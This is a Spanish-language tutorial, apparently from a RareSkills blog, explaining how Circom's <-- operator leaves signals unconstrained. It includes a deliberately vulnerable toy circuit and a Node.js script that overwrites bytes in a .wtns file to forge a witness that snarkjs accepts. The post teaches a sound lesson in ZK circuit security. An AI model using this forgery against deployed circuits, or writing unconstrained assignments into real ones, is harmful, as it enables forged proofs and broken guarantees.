El operador <-- en Circom puede ser peligroso porque asigna valores a las señales pero no las restringe. Pero, ¿cómo se explota escribe realmente una POC (prueba de concepto) para esta vulnerabilidad?
Estaremos hackeando el siguiente circuito:
pragma circom 2.1.8;
template Mul3() {
signal input a;
signal input b;
signal input c;
signal output out;
signal i;
a * b === 1; // Force a * b === 1
i <-- a * b; // i must be equal 1
out <== i * c; // out must equal c since i === 1
}
component main{public [a, b, c]} = Mul3();
Guarde este circuito como mul3.circom (abreviatura de multiplicar tres variables).
El circuito parece forzar que el producto de a y b sea 1, y luego asigna 1 a i.
Finalmente, out está restringido para ser i * c. Dado que i supuestamente solo puede tener el valor 1, entonces out debe ser igual a c.
El error (bug) aquí es que <-- no está creando una restricción, sino calculando un valor y asignándolo a i. En realidad, i puede tener cualquier valor que queramos, no tiene que ser a * b o 1.
El exploit consiste en asignar un valor a i que no sea a * b === 1, lo que nos permite establecer que out ≠ c.
En resumen, el creador del circuito espera que out = c, pero nosotros violaremos esta suposición. En el ejemplo actual, no se hace ningún daño, pero en una aplicación real esto podría ser un problema si fuera crítico que dos señales tuvieran el mismo valor.
Pero, ¿cómo creamos realmente el exploit?
Pasos para explotarlo
Generando una prueba válida
Para crear una prueba para un circuito Circom, primero creamos un input.json para el circuito:
{"a": "1", "b": "1", "c": "5"}
Esto satisfará el circuito:
a * b === 1; // 1 * 1 === 1
i <-- a * b; // 1 <-- 1 * 1
out <== i * c; // 5 <== 1 * 5;
// out === c as the dev expects
Compilamos el circuito a un r1cs usando el siguiente comando:
circom mul3.circom --r1cs --wasm --sym
Luego generamos un witness con el archivo wasm que se creó, usando input.json como entrada:
cd mul3_js/
node generate_witness.js mul3.wasm ../input.json ../witness.wtns
cd ..
Podemos ver el witness que snarkjs calculó para nosotros con el siguiente comando:
snarkjs wtns export json witness.wtns witness.json
cat witness.json

Disposición de las señales del witness
La primera entrada en el vector del witness siempre es 1. (Esto se explicó en nuestro artículo sobre r1cs que el lector puede consultar). El resto de los elementos en el vector son los valores en el circuito. Podemos ver qué elemento corresponde a qué señal viendo los archivos input.json, mul3.sym y witness.json:
cat input.json
cat mul3.sym
cat witness.json
Mostramos el resultado y añadimos las etiquetas al archivo witness.json a continuación en amarillo:

Para explotar este circuito, queremos asignar un valor a i que cause que out ≠ c. Sin embargo, Circom no nos da un mecanismo para escribir directamente en señales que no son de entrada, e i no es una señal de entrada (¿quizás para hacer nuestro hackeo un poco más difícil?). (snarkjs proporciona una API fullprove que parece hacer esto, pero este código ha estado roto desde 2021).
Ejemplo de un witness malicioso
Uno de estos witness maliciosos sería:
[
"1",
"10", // out
"1", // a
"1", // b
"5", // c
"2" // i
]
Esto satisfará las restricciones:
a * b === 1; // 1 * 1 = 1
i <-- a * b; // 2 <-- 1 * 1 is ok because <-- is not a constraint!
out <== i * c; // 10 = 2 * 5;
En este momento, tenemos un witness válido para el cual snarkjs creará una prueba:
snarkjs wtns check mul3.r1cs witness.wtns

Nuestro objetivo es crear un archivo witness que satisfaga el circuito pero viole la propiedad esperada de que out = c.
Entendiendo la estructura de witness.wtns
El witness.wtns es un archivo binario. Desafortunadamente, como se indicó anteriormente, Circom y snarkjs no proporcionan una API para tomar un vector witness en json y generar un archivo .wtns. El formato del archivo .wtns se puede determinar mirando el código fuente que lo genera. Sin embargo, un examen rápido del archivo binario es suficiente.
Vemos en el código enlazado arriba que escribe un Uint8Array en un archivo. Así que vamos a procesar el archivo como un Uint8Array con el siguiente código y lo imprimiremos:
const fs = require('fs');
const filePath = 'witness.wtns';
const data = fs.readFileSync(filePath);
let data_arr = new Uint8Array(data);
console.dir(data_arr, {'maxArrayLength': null});

Sin entrar en detalles sobre cómo está formateado este witness.wtns, ¡aún podemos ver los valores de nuestro witness dispuestos en el mismo orden que en el witness.json!

Ahora estamos listos para crear un witness falso sobrescribiendo el archivo binario donde se almacenan los valores para estas señales i y out:
const fs = require('fs');
const filePath = 'witness.wtns';
const data = fs.readFileSync(filePath);
console.log("Before");
console.dir(data, {'maxArrayLength': null});
data[108] = 10; // `out`
data[236] = 2; // `i`
console.log("After");
console.dir(data, {'maxArrayLength': null});
fs.writeFileSync('exploit_witness.wtns', data);
Después de ejecutar nuestro código para crear el witness falso, podemos ver que los valores correspondientes a out e i han sido alterados según lo planeado (los bytes modificados están anotados con un cuadro rojo, el resto permanece sin cambios):

El código de arriba también escribe el archivo exploit_witness.wtns para nosotros, que es simplemente el arreglo de bytes impreso anteriormente.
Cuando verificamos exploit_witness.wtns contra el circuito usando snarkjs:
snarkjs wtns check mul3.r1cs exploit_witness.wtns

¡El witness satisface el circuito!
A partir de aquí, simplemente podemos seguir los pasos de prueba en la documentación de Circom para crear una prueba falsa y explotar el circuito.
Aprende más con RareSkills
Por favor, consulte nuestro Curso de Zero Knowledge para aprender más sobre temas de ZK.
Publicado originalmente el 18 de marzo